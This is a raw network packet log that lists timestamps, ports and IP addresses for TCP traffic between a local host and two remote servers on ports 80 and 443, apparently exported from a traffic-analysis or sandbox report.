Dec 18, 2024 09:07:20.183917046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.183939934 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.183952093 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.184658051 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.184705019 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.184751987 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.184767008 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.184797049 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.184847116 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.185671091 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.185722113 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.185753107 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.185767889 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.185791016 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.185801029 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.186410904 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.186458111 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.186492920 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.186508894 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.186532021 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.186553955 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.187378883 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.187444925 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.187609911 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.187624931 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.187654018 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.187670946 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.188119888 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.188169003 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.188205957 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.188241959 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.188275099 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.188288927 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.189076900 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.189110994 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.189129114 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.189131975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.189156055 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.189166069 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.189876080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.189938068 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.189965963 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.189982891 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.190006971 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.190016985 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.190747976 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.190794945 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.190840006 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.190855980 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.190879107 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.190893888 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.191617966 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.191660881 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.191704035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.191719055 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.191744089 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.191756010 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.192483902 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.192547083 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.192569017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.192584991 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.192610025 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.192634106 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.193437099 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.193484068 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.193531036 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.193547010 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.193577051 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.193589926 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.194242954 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.194292068 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.194366932 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.194387913 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.194411993 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.194426060 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.195120096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.195163012 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.195208073 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.195224047 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.195250034 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.195259094 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.196006060 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.196052074 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.196089983 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.196105003 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.196129084 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.196140051 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.196567059 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:20.196623087 CET	49715	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:20.196649075 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:20.196878910 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.196926117 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.197141886 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.197181940 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.197491884 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.197509050 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.197540045 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.198014021 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.198059082 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.198086977 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.198102951 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.198124886 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.198136091 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.198858023 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.198899031 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.198946953 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.198985100 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.199007034 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.199021101 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.199758053 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.199801922 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.199814081 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.199816942 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.199843884 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.199845076 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.200633049 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.200685978 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.200691938 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.200714111 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.200737000 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.200737000 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.201618910 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.201677084 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.201711893 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.201729059 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.201752901 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.201766968 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.202529907 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.202580929 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.202583075 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.202599049 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.202641010 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.202641964 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.203198910 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.203254938 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.203282118 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.203296900 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.203326941 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.203358889 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.204070091 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.204135895 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.204169035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.204184055 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.204216003 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.204226971 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.204961061 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.205008984 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.205049038 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.205064058 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.205090046 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.205090046 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.205817938 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.205871105 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.205895901 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.205910921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.205933094 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.205940962 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.206666946 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.206726074 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.206754923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.206769943 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.206794977 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.206805944 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.207521915 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.207570076 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.207608938 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.207648039 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.249274969 CET	49715	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:20.272365093 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:20.280005932 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:20.280164957 CET	49715	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:20.280188084 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:20.327507973 CET	49715	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:20.343616962 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:20.347867012 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:20.348134041 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:20.348156929 CET	49715	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:20.348263979 CET	49715	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:20.348582983 CET	49715	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:20.348627090 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:20.348656893 CET	49715	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:20.348671913 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:20.368805885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.368889093 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.368966103 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.368983030 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.369019985 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.369031906 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.369129896 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.369175911 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.369179964 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.369198084 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.369237900 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.369250059 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.370126009 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.370141983 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.370157957 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.370187044 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.370208979 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.370894909 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.370920897 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.370937109 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.370949030 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.370970964 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.370976925 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.372106075 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.372159004 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.372198105 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.372214079 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.372236967 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.372251034 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.372776031 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.372864962 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.372929096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.372945070 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.372970104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.372983932 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.373608112 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.373642921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.373658895 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.373667955 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.373688936 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.373697042 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.374294996 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.374342918 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.374378920 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.374393940 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.374413967 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.374427080 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.375186920 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.375242949 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.375245094 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.375267982 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.375289917 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.375299931 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.376369953 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.376420975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.376437902 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.376437902 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.376481056 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.376952887 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.376979113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.376995087 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.377001047 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.377028942 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.377043962 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.377794027 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.377854109 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.377876043 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.377892971 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.377923012 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.377939939 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.378668070 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.378729105 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.378739119 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.378746033 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.378767967 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.378783941 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.379532099 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.379578114 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.379595995 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.379612923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.379637957 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.379647970 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.380477905 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.380503893 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.380520105 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.380520105 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.380543947 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.380553007 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.381278992 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.381328106 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.381402016 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.381418943 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.381444931 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.381457090 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.382240057 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.382265091 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.382282972 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.382291079 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.382314920 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.382314920 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.383038998 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.383081913 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.383094072 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.383111000 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.383132935 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.383147955 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.383889914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.383980036 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.383996010 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.384114981 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.384114981 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.384114981 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.384711981 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.384763956 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.384815931 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.384834051 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.384856939 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.384869099 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.385634899 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.385684967 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.385721922 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.385736942 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.385763884 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.385776043 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.386473894 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.386518002 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.386543036 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.386559963 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.386590958 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.386601925 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.387388945 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.387414932 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.387432098 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.387438059 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.387445927 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.387481928 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.388221979 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.388268948 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.388478994 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.388525009 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.388559103 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.388576984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.388607025 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.388660908 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.389483929 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.389523029 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.389528036 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.389539957 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.389564991 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.389578104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.390331030 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.390357018 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.390372038 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.390372992 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.390384912 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.390408993 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.391196966 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.391221046 CET	80	49714	31.41.244.11	192.168.2.8
